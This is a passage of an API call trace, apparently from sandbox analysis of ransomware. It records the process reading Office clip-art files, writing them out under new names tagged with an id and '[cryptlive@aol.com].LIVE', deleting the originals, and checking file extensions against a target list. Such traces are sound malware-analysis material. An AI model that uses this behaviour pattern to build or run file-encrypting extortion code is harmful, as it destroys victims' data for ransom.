Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0154.425] lstrlenW (lpString=".jpg") returned 4 [0154.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.425] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.425] lstrlenW (lpString="J0107134.WMF") returned 12 [0154.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.426] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=48388) returned 1 [0154.426] CloseHandle (hObject=0x38c) returned 1 [0154.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf")) returned 0x20 [0154.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.427] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.427] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0154.427] GetLastError () returned 0x0 [0154.428] ReadFile (in: hFile=0x38c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xbd04, lpOverlapped=0x0) returned 1 [0154.460] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xbd10, lpOverlapped=0x0) returned 1 [0154.461] ReadFile (in: hFile=0x38c, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.461] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.461] SetEndOfFile (hFile=0x1dc) returned 1 [0154.461] CloseHandle (hObject=0x1dc) returned 1 [0154.462] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.462] SetEndOfFile (hFile=0x38c) returned 1 [0154.468] CloseHandle (hObject=0x38c) returned 1 [0154.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf")) returned 1 [0154.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0154.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0154.629] lstrlenW (lpString=".doc") returned 4 [0154.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.629] lstrlenW (lpString=".docx") returned 5 [0154.629] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0154.629] lstrlenW (lpString=".pdf") returned 4 [0154.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.629] lstrlenW (lpString=".xls") returned 4 [0154.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.629] lstrlenW (lpString=".xlsx") returned 5 [0154.629] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0154.629] lstrlenW (lpString=".ppt") returned 4 [0154.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0154.645] lstrlenW (lpString=".zip") returned 4 [0154.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.646] lstrlenW (lpString=".rar") returned 4 [0154.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.646] lstrlenW (lpString=".bz2") returned 4 [0154.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.646] lstrlenW (lpString=".7z") returned 3 [0154.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0154.646] lstrlenW (lpString=".dbf") returned 4 [0154.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0154.657] lstrlenW (lpString=".1cd") returned 4 [0154.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0154.657] lstrlenW (lpString=".jpg") returned 4 [0154.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0154.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0154.669] lstrlenW (lpString=".doc") returned 4 [0154.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString=".docx") returned 5 [0154.669] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0154.669] lstrlenW (lpString=".pdf") returned 4 [0154.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString=".xls") returned 4 [0154.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.669] lstrlenW (lpString=".xlsx") returned 5 [0154.669] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0154.669] lstrlenW (lpString=".ppt") returned 4 [0154.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0154.669] lstrlenW (lpString=".zip") returned 4 [0154.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.669] lstrlenW (lpString=".rar") returned 4 [0154.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString=".bz2") returned 4 [0154.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.669] lstrlenW (lpString=".7z") returned 3 [0154.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0154.670] lstrlenW (lpString=".dbf") returned 4 [0154.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0154.670] lstrlenW (lpString=".1cd") returned 4 [0154.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF") returned 63 [0154.670] lstrlenW (lpString=".jpg") returned 4 [0154.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.670] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.670] lstrlenW (lpString="J0107188.WMF") returned 12 [0154.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0154.670] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4536) returned 1 [0154.671] CloseHandle (hObject=0x1dc) returned 1 [0154.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf")) returned 0x20 [0154.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0154.671] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.671] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0154.672] GetLastError () returned 0x0 [0154.672] ReadFile (in: hFile=0x1dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x11b8, lpOverlapped=0x0) returned 1 [0154.680] WriteFile (in: hFile=0x1e0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x11c0, lpOverlapped=0x0) returned 1 [0154.681] ReadFile (in: hFile=0x1dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.681] WriteFile (in: hFile=0x1e0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.681] SetEndOfFile (hFile=0x1e0) returned 1 [0154.681] CloseHandle (hObject=0x1e0) returned 1 [0154.681] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.681] SetEndOfFile (hFile=0x1dc) returned 1 [0154.683] CloseHandle (hObject=0x1dc) returned 1 [0154.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf")) returned 1 [0154.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0154.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0154.703] lstrlenW (lpString=".doc") returned 4 [0154.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.703] lstrlenW (lpString=".docx") returned 5 [0154.703] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.703] lstrlenW (lpString=".pdf") returned 4 [0154.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.703] lstrlenW (lpString=".xls") returned 4 [0154.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.703] lstrlenW (lpString=".xlsx") returned 5 [0154.703] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.703] lstrlenW (lpString=".ppt") returned 4 [0154.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0154.703] lstrlenW (lpString=".zip") returned 4 [0154.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.703] lstrlenW (lpString=".rar") returned 4 [0154.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.703] lstrlenW (lpString=".bz2") returned 4 [0154.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.703] lstrlenW (lpString=".7z") returned 3 [0154.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0154.703] lstrlenW (lpString=".dbf") returned 4 [0154.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0154.703] lstrlenW (lpString=".1cd") returned 4 [0154.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0154.703] lstrlenW (lpString=".jpg") returned 4 [0154.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0154.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0154.704] lstrlenW (lpString=".doc") returned 4 [0154.704] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.704] lstrlenW (lpString=".docx") returned 5 [0154.704] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.704] lstrlenW (lpString=".pdf") returned 4 [0154.704] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.704] lstrlenW (lpString=".xls") returned 4 [0154.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.704] lstrlenW (lpString=".xlsx") returned 5 [0154.704] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.704] lstrlenW (lpString=".ppt") returned 4 [0154.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0154.704] lstrlenW (lpString=".zip") returned 4 [0154.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.704] lstrlenW (lpString=".rar") returned 4 [0154.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.704] lstrlenW (lpString=".bz2") returned 4 [0154.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.704] lstrlenW (lpString=".7z") returned 3 [0154.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0154.704] lstrlenW (lpString=".dbf") returned 4 [0154.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0154.704] lstrlenW (lpString=".1cd") returned 4 [0154.704] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0154.704] lstrlenW (lpString=".jpg") returned 4 [0154.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.704] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.704] lstrlenW (lpString="J0107192.WMF") returned 12 [0154.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.705] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=9968) returned 1 [0154.705] CloseHandle (hObject=0x314) returned 1 [0154.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf")) returned 0x20 [0154.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.706] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.706] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0154.707] GetLastError () returned 0x0 [0154.707] ReadFile (in: hFile=0x314, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x26f0, lpOverlapped=0x0) returned 1 [0154.720] WriteFile (in: hFile=0x1b8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2700, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2700, lpOverlapped=0x0) returned 1 [0154.721] ReadFile (in: hFile=0x314, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.721] WriteFile (in: hFile=0x1b8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.722] SetEndOfFile (hFile=0x1b8) returned 1 [0154.722] CloseHandle (hObject=0x1b8) returned 1 [0154.722] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.722] SetEndOfFile (hFile=0x314) returned 1 [0154.726] CloseHandle (hObject=0x314) returned 1 [0154.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.771] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf")) returned 1 [0154.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0154.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0154.773] lstrlenW (lpString=".doc") returned 4 [0154.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.773] lstrlenW (lpString=".docx") returned 5 [0154.773] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0154.773] lstrlenW (lpString=".pdf") returned 4 [0154.773] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.773] lstrlenW (lpString=".xls") returned 4 [0154.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.773] lstrlenW (lpString=".xlsx") returned 5 [0154.773] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0154.773] lstrlenW (lpString=".ppt") returned 4 [0154.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0154.773] lstrlenW (lpString=".zip") returned 4 [0154.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.773] lstrlenW (lpString=".rar") returned 4 [0154.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.773] lstrlenW (lpString=".bz2") returned 4 [0154.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.773] lstrlenW (lpString=".7z") returned 3 [0154.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0154.773] lstrlenW (lpString=".dbf") returned 4 [0154.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0154.773] lstrlenW (lpString=".1cd") returned 4 [0154.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0154.773] lstrlenW (lpString=".jpg") returned 4 [0154.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0154.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0154.773] lstrlenW (lpString=".doc") returned 4 [0154.773] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.773] lstrlenW (lpString=".docx") returned 5 [0154.774] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0154.774] lstrlenW (lpString=".pdf") returned 4 [0154.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.774] lstrlenW (lpString=".xls") returned 4 [0154.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.774] lstrlenW (lpString=".xlsx") returned 5 [0154.774] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0154.774] lstrlenW (lpString=".ppt") returned 4 [0154.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0154.774] lstrlenW (lpString=".zip") returned 4 [0154.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.774] lstrlenW (lpString=".rar") returned 4 [0154.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.774] lstrlenW (lpString=".bz2") returned 4 [0154.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.774] lstrlenW (lpString=".7z") returned 3 [0154.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0154.774] lstrlenW (lpString=".dbf") returned 4 [0154.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0154.774] lstrlenW (lpString=".1cd") returned 4 [0154.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF") returned 63 [0154.774] lstrlenW (lpString=".jpg") returned 4 [0154.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.774] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.774] lstrlenW (lpString="J0107258.WMF") returned 12 [0154.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.788] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=8552) returned 1 